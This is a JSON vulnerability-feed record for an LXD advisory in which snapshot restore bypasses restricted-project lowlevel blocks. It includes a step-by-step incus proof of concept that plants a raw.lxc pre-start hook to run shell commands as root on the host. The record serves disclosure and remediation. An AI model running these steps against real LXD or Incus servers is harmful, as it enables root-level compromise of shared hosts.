{"id":"GHSA-47w9-6r3f-938g","kind":"vulnerability","aliases":["GHSA-47w9-6r3f-938g"],"related":[],"title":"LXD has restricted project bypass leading to arbitrary command execution","description":"Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv\n\n### Summary\n\nInstance snapshots ignore the `restricted.containers.lowlevel=block` setting;\nallowing for arbitrary command execution on the Incus server by abusing\nlowlevel hooks such as `raw.lxc` and `raw.qemu`.\n\n\n### Details\n\nInstance snapshots ignore the `restricted.containers.lowlevel=block` setting;\nallowing for arbitrary command execution on the Incus server by abusing\nlowlevel hooks such as `raw.lxc` and `raw.qemu`.\n\nAs snapshots can be moved from one server to another, a malicious\ninstance+snapshot can be crafted locally, moved to a restricted project\nand the snapshot restored for arbitrary command execution.\n\nIn practice, this allows a malicious actor to execute arbitrary commands\non the host with root privileges.\n\n\n### PoC\n\n```\n# remote, restricted\nincus project set rem:project restricted.true\nincus project set rem:project restricted.containers.lowlevel=block\n\n# locally, unrestricted project\nincus init images:debian/trixie rce-raw-lxc\nincus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c \"/bin/id >/lxc-hook-prestart\"'\nincus snapshot create rce-raw-lxc snap0\n#> allow transfer to restricted project\nincus config unset rce-raw-lxc raw.lxc\n\n# locally, transfer and trigger\nincus move rce-raw-lxc rem: --mode push\nincus snapshot restore rem:rce-raw-lxc snap0\nincus start rem:rce-raw-lxc\n```\n\n\n### Impact\n\n- Bypass of project restrictions.\n- Arbitrary command execution on the Incus server.","summary":"LXD instance snapshots ignore the restricted.containers.lowlevel=block setting, so a crafted snapshot with raw.lxc or raw.qemu hooks can be restored into a restricted project. An attacker who can move and restore snapshots gets arbitrary command execution on the LXD host with root privileges.","severity":"critical","cvss":9.9,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"github.com/canonical/lxd","fixed":["0.0.0-20260630083100-c5184be310b1"],"affected":"< 0.0.0-20260630083100-c5184be310b1","ecosystem":"go"}],"ecosystems":["go"],"tags":["cwe-862","go","infrastructure","linux","lxd","self-hosted"],"not_affected_if":["no-restricted-projects","single-project-host"],"how_to_check":"- Check the LXD version with `lxd --version` and compare it with the fixed version below.\n- Review projects that set `restricted.containers.lowlevel=block` and whether snapshot restore or move is allowed into them.","fix":"- Move LXD to a version at or beyond the fixed commit `c5184be310b1` (go module pseudo-version `0.0.0-20260630083100-c5184be310b1`); the sources do not give a release tag.","status":"open","published_at":"2026-11-06T19:51:26+00:00","first_seen_at":"2026-11-06T19:53:29+00:00","triaged_at":"2026-11-06T19:53:56+00:00","updated_at":"2026-11-06T19:53:56+00:00","category":"infrastructure","confidence":0.7,"triage":{"at":"2026-11-06T19:53:56Z","model":"claude-haiku-5-5","output":{"fix":"- Move LXD to a version at or beyond the fixed commit `c5184be310b1` (go module pseudo-version `0.0.0-20260630083100-c5184be310b1`); the sources do not give a release tag.","reach":"network","title":"LXD: restricted project bypass lets snapshot restore run commands as root","impact":"high","summary":"LXD instance snapshots ignore the restricted.containers.lowlevel=block setting, so a crafted snapshot with raw.lxc or raw.qemu hooks can be restored into a restricted project. An attacker who can move and restore snapshots gets arbitrary command execution on the LXD host with root privileges.","audience":"businesses","category":"infrastructure","nicknames":[],"who_cares":["lxd","self-hosted","linux","go"],"confidence":0.7,"fix_status":"available","needs_auth":"yes","worst_case":"Attacker runs commands as root on the LXD host.","analyst_note":"Confirm the released LXD version that contains the fix and whether the Incus advisory GHSA-48q5-w887-33wv applies to Incus separately.","how_to_check":"- Check the LXD version with `lxd --version` and compare it with the fixed version below.\n- Review projects that set `restricted.containers.lowlevel=block` and whether snapshot restore or move is allowed into them.\n- unknown for any other check, as the sources do not say.","plain_action":"","needs_analyst":true,"not_affected_if":["single-project-host","no-restricted-projects"],"who_is_affected":"Hosts running LXD where some projects are restricted and others are not, and where users or remotes can move or restore instance snapshots between them. Single-project or fully trusted LXD setups are less exposed. The sources do not say whether managed hosting is affected.","user_interaction":"no","needs_special_setup":"yes","severity_if_unknown":"critical"},"cost_usd":0.000816,"input_tokens":4920,"output_tokens":648,"severity_before":"critical"},"analyst_status":null,"analyst_note":null,"search":"'-862':25B '/bin/id':220C '/bin/sh':218C '/canonical/lxd':23A '/lxc-hook-prestart':221C '/lxc/incus/security/advisories/ghsa-48q5-w887-33wv':80C '47w9':13A,18A '6r3f':14A,19A '938g':15A,20A 'abus':99C,125C 'actor':170C 'allow':89C,115C,167C,230C 'anoth':142C 'arbitrari':8A,66B,91C,117C,161C,173C,277C 'attack':58B 'block':39B,87C,113C,196C 'bypass':5A,273C 'c':219C 'command':9A,67B,92C,118C,162C,174C,278C 'config':209C,236C 'craft':43B,149C 'creat':224C 'cwe':24B 'debian/trixie':203C 'detail':107C 'execut':10A,68B,93C,119C,163C,172C,279C 'get':65B 'ghsa':12A,17A 'ghsa-47w9-6r3f-938g':11A,16A 'github.com':22A,79C 'github.com/canonical/lxd':21A 'github.com/lxc/incus/security/advisories/ghsa-48q5-w887-33wv':78C 'go':26B 'hook':49B,101C,127C 'host':32B,72B,177C 'ignor':36B,84C,110C 'imag':202C 'impact':272C 'incus':96C,122C,184C,190C,200C,208C,222C,235C,247C,256C,265C,282C 'infrastructur':27B 'init':201C 'instanc':34B,82C,108C,145C 'lead':6A 'linux':28B 'local':150C,197C,243C 'lowlevel':100C,126C 'lxc':207C,214C,228C,241C,252C,263C,271C 'lxc.hook.pre':216C 'lxd':1A,29B,33B,71B 'malici':144C,169C 'mode':254C 'move':61B,137C,151C,248C 'one':139C 'poc':181C 'practic':165C 'privileg':75B,180C 'project':4A,56B,155C,185C,188C,191C,194C,199C,234C,275C 'push':255C 'raw':206C,213C,227C,240C,251C,262C,270C 'raw.lxc':46B,104C,130C,215C,242C 'raw.qemu':48B,106C,132C 'rce':205C,212C,226C,239C,250C,261C,269C 'rce-raw-lxc':204C,211C,225C,238C,249C,260C,268C 'rem':187C,193C,253C,259C,267C 'remot':182C 'report':76C 'restor':52B,63B,159C,258C 'restrict':3A,55B,154C,183C,233C,276C 'restricted.containers.lowlevel':38B,86C,112C,195C 'restricted.true':189C 'root':74B,179C 'self':31B 'self-host':30B 'server':97C,123C,140C,283C 'set':40B,88C,114C,186C,192C,210C 'snap0':229C,264C 'snapshot':35B,44B,64B,83C,109C,134C,146C,158C,223C,257C 'start':217C,266C 'summari':81C 'transfer':231C,244C 'trigger':246C 'unrestrict':198C 'unset':237C","nicknames":[],"mitigations":[],"who_affected":"Hosts running LXD where some projects are restricted and others are not, and where users or remotes can move or restore instance snapshots between them. Single-project or fully trusted LXD setups are less exposed. The sources do not say whether managed hosting is affected.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"businesses","plain_action":null,"pkeys":["githubcomcanonicallxd"],"ptokens":["canonical","com","github","lxd"],"labels":["critical","cwe862","go","infrastructure","linux","lxd","selfhosted"],"campaign_type":null,"search_a":"'/canonical/lxd':23A '47w9':13A,18A '6r3f':14A,19A '938g':15A,20A 'arbitrari':8A 'bypass':5A 'command':9A 'execut':10A 'ghsa':12A,17A 'ghsa-47w9-6r3f-938g':11A,16A 'github.com':22A 'github.com/canonical/lxd':21A 'lead':6A 'lxd':1A 'project':4A 'restrict':3A","search_b":"'-862':25B 'arbitrari':66B 'attack':58B 'block':39B 'command':67B 'craft':43B 'cwe':24B 'execut':68B 'get':65B 'go':26B 'hook':49B 'host':32B,72B 'ignor':36B 'infrastructur':27B 'instanc':34B 'linux':28B 'lxd':29B,33B,71B 'move':61B 'privileg':75B 'project':56B 'raw.lxc':46B 'raw.qemu':48B 'restor':52B,63B 'restrict':55B 'restricted.containers.lowlevel':38B 'root':74B 'self':31B 'self-host':30B 'set':40B 'snapshot':35B,44B,64B","search_c":"'/bin/id':220C '/bin/sh':218C '/lxc-hook-prestart':221C '/lxc/incus/security/advisories/ghsa-48q5-w887-33wv':80C 'abus':99C,125C 'actor':170C 'allow':89C,115C,167C,230C 'anoth':142C 'arbitrari':91C,117C,161C,173C,277C 'block':87C,113C,196C 'bypass':273C 'c':219C 'command':92C,118C,162C,174C,278C 'config':209C,236C 'craft':149C 'creat':224C 'debian/trixie':203C 'detail':107C 'execut':93C,119C,163C,172C,279C 'github.com':79C 'github.com/lxc/incus/security/advisories/ghsa-48q5-w887-33wv':78C 'hook':101C,127C 'host':177C 'ignor':84C,110C 'imag':202C 'impact':272C 'incus':96C,122C,184C,190C,200C,208C,222C,235C,247C,256C,265C,282C 'init':201C 'instanc':82C,108C,145C 'local':150C,197C,243C 'lowlevel':100C,126C 'lxc':207C,214C,228C,241C,252C,263C,271C 'lxc.hook.pre':216C 'malici':144C,169C 'mode':254C 'move':137C,151C,248C 'one':139C 'poc':181C 'practic':165C 'privileg':180C 'project':155C,185C,188C,191C,194C,199C,234C,275C 'push':255C 'raw':206C,213C,227C,240C,251C,262C,270C 'raw.lxc':104C,130C,215C,242C 'raw.qemu':106C,132C 'rce':205C,212C,226C,239C,250C,261C,269C 'rce-raw-lxc':204C,211C,225C,238C,249C,260C,268C 'rem':187C,193C,253C,259C,267C 'remot':182C 'report':76C 'restor':159C,258C 'restrict':154C,183C,233C,276C 'restricted.containers.lowlevel':86C,112C,195C 'restricted.true':189C 'root':179C 'server':97C,123C,140C,283C 'set':88C,114C,186C,192C,210C 'snap0':229C,264C 'snapshot':83C,109C,134C,146C,158C,223C,257C 'start':217C,266C 'summari':81C 'transfer':231C,244C 'trigger':246C 'unrestrict':198C 'unset':237C","first_public_at":"2026-11-06T19:51:26+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-47w9-6r3f-938g","url":"https://github.com/advisories/GHSA-47w9-6r3f-938g","severity":"critical","published_at":"2026-11-06T19:51:26+00:00","modified_at":"2026-11-06T19:51:26+00:00","first_seen_at":"2026-11-06T19:53:29+00:00","fetched_at":"2026-11-06T21:41:15+00:00","note":null}],"documents":[{"id":89397,"url":"https://api.github.com/repos/canonical/lxd/security-advisories/GHSA-47w9-6r3f-938g","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":89398,"url":"https://github.com/canonical/lxd/security/advisories/GHSA-47w9-6r3f-938g","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":89399,"url":"https://github.com/canonical/lxd/commit/5aac658c888d52e3a2480a8f879799ac643fdc49","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":89400,"url":"https://github.com/canonical/lxd/commit/6b93b2a0c4f6f3eaf91e1e813f6875d5eb66b59b","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":89401,"url":"https://github.com/canonical/lxd/commit/a52e5d06a52fb7ad8862cb2a8659a8c47e446efe","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":89402,"url":"https://github.com/canonical/lxd/commit/cfd9f66f6af89e1fa3b3acb12bfe72f51b7f1e19","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":89403,"url":"https://github.com/canonical/lxd/releases/tag/lxd-5.0.7","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"},{"id":88870,"url":"https://github.com/canonical/lxd/releases/tag/lxd-5.21.5","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"}],"exploit_sources":[],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}